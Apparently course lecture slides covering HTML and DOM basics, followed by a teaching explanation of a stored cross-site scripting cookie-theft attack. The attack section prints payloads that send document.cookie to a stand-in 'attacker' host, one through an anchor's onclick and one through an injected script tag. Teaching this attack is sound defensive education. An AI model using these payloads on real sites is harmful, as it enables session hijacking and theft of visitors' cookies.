Agenda

- HTML/Javascript Basics
Name two terms you learned in this class to describe this picture.
When a web page is loaded, the browser creates a Document Object Model of the page.

The HTML DOM model is constructed as a tree of Objects:

- **Document**
- **Root element:** `<html>`
  - **Element:** `<head>`
  - **Element:** `<title>`
    - **Text:** “My title”
  - **Attribute:** “href”
  - **Element:** `<body>`
    - **Element:** `<a>`
      - **Text:** “My link”
    - **Element:** `<h1>`
      - **Text:** “My header”
An HTML element usually consists of a start tag and end tag, with the content inserted in between.

HTML elements can be nested.

```html
<html>
<body>
<h1>My First Heading</h1>
<p>My first paragraph.</p>
</body>
</html>
```

The `<html>` element defines the whole document.

The `<body>` element defines the document body.

The `<h1>` element defines a heading.

The `<p>` element defines a paragraph.

http://www.w3schools.com/html/html_elements.asp
The `<a>` tag defines a hyperlink, which is used to link from one page to another.

http://www.w3schools.com/tags/tag_a.asp
<p> tag defines a paragraph.
http://www.w3schools.com/tags/tag_p.asp
HTML <script> Tag

The <script> tag is used to define a client-side script (JavaScript).
http://www.w3schools.com/tags/tag_script.asp
HTML Attributes

- All HTML elements can have attributes
- Attributes provide additional information about an element
- Attributes are always specified in the start tag
- Attributes usually come in name/value pairs like: name="value"

Some often used attributes:

- **href** Specifies the URL (web address) for a link
- **id** Specifies a unique id for an element
- **src** Specifies the URL (web address) for an image

http://www.w3schools.com/html/html_attributes.asp
When an HTML document is loaded into a web browser, it becomes a document object.

The HTML document object represents your web page.

The document object is the root node of the HTML document and the "owner" of all other nodes: (element nodes, text nodes, attribute nodes, and comment nodes).

The document object provides properties and methods to access all node objects, from within JavaScript.

If you want to access any element in an HTML page, you always start with accessing the document object.

- `document.cookie`: Returns all name/value pairs of cookies in the document.
- `document.getElementById()`: Returns the element that has the ID attribute with the specified value.

http://www.w3schools.com/jsref/prop_doc_cookie.asp
The window object represents an open window in a browser. The document is a part of the Window object and can be accessed as window.document.

Window Object Properties

- **document** Returns the Document object for the window
- **location** Returns the Location object for the window. The window.location object can be used to get the current page address (URL) and to redirect the browser to a new page.
HTML Location Object

- The location object contains information about the current URL.
- The location object is part of the window object and is accessed through the window.location property.

Location Object Properties

- **href** Sets or returns the entire URL
- **protocol** Sets or returns the protocol of a URL

http://www.w3schools.com/js/js_window_location.asp
HTML Methods/Properties

- **methods**: actions you can perform (on HTML Elements).
- **properties**: values (of HTML Elements) that you can set or change.
<html>
<body>
<p id="demo"></p>
<script>
document.getElementById("demo").innerHTML = "Hello World!";
</script>
</body>
</html>

Run this example here:
http://www.w3schools.com/js/js_htmldom_methods.asp
The most common way to access an HTML element is to use the id of the element.

In the example above the getElementById method used id="demo" to find the element.
The innerHTML property sets or returns the HTML content (innerHTML) of an element.

- The easiest way to get the content of an element is by using the innerHTML property.
- The innerHTML property is useful for getting or replacing the content of HTML elements.

http://www.w3schools.com/jsref/prop_html_innerhtml.asp
A Javascript:
<script>
</script>
or
A HTML element:
<a onclick="window.location='http://attacker/something.php?cookie='+escape(document.cookie);" href="#">Click Here for Details</a>
The Cookie Theft Attack

1. Attacker
   - Attacker's Browser
   - Attacker's Server
   - POST http://website/post-comment
     - `<script>...</script>`
   - Website's Database
     - `latestComment: <script>window.location='http://attacker/?cookie='+document.cookie</script>`
   - Website's Response Script
     - print "<html>
     - print "Latest comment:"
     - print database.latestComment
     - print "</html>"

2. Website's Response to Victim
   - Website's Response to Victim
     - `<html>
     - Latest comment:
     - `<script>
     - window.location='http://attacker/?cookie='+document.cookie
     - `</script>`
     - `</html>`

3. GET http://website/latest-comment
   - 200 OK

4. GET http://attacker/?cookie=sensitive-data

Images source: https://excess-xss.com/
The Cookie Theft Attack - Step by Step

1. The attacker uses one of the website’s forms to insert a malicious string into the website’s database.
2. The victim requests a page from the website.
3. The website includes the malicious string from the database in the response and sends it to the victim.
4. The victim’s browser executes the malicious script inside the response, sending the victim’s cookies to the attacker’s server.
The Cookie Theft Attack Demo

Cookie Stealing by Cross Site Scripting Tutorial
https://www.youtube.com/watch?v=4SSlKQuSffI
Backup Slides
HTTP works as a request-response protocol between a client and server. Two commonly used methods for a request-response between a client and server are: GET and POST.

- **GET** - Requests data from a specified resource
- **POST** - Submits data to be processed to a specified resource
A large portion of the material is adapted from:

- Fundamentals of Information Systems Security - David Kim, Michael G. Solomon
- w3schools.com http://www.w3schools.com/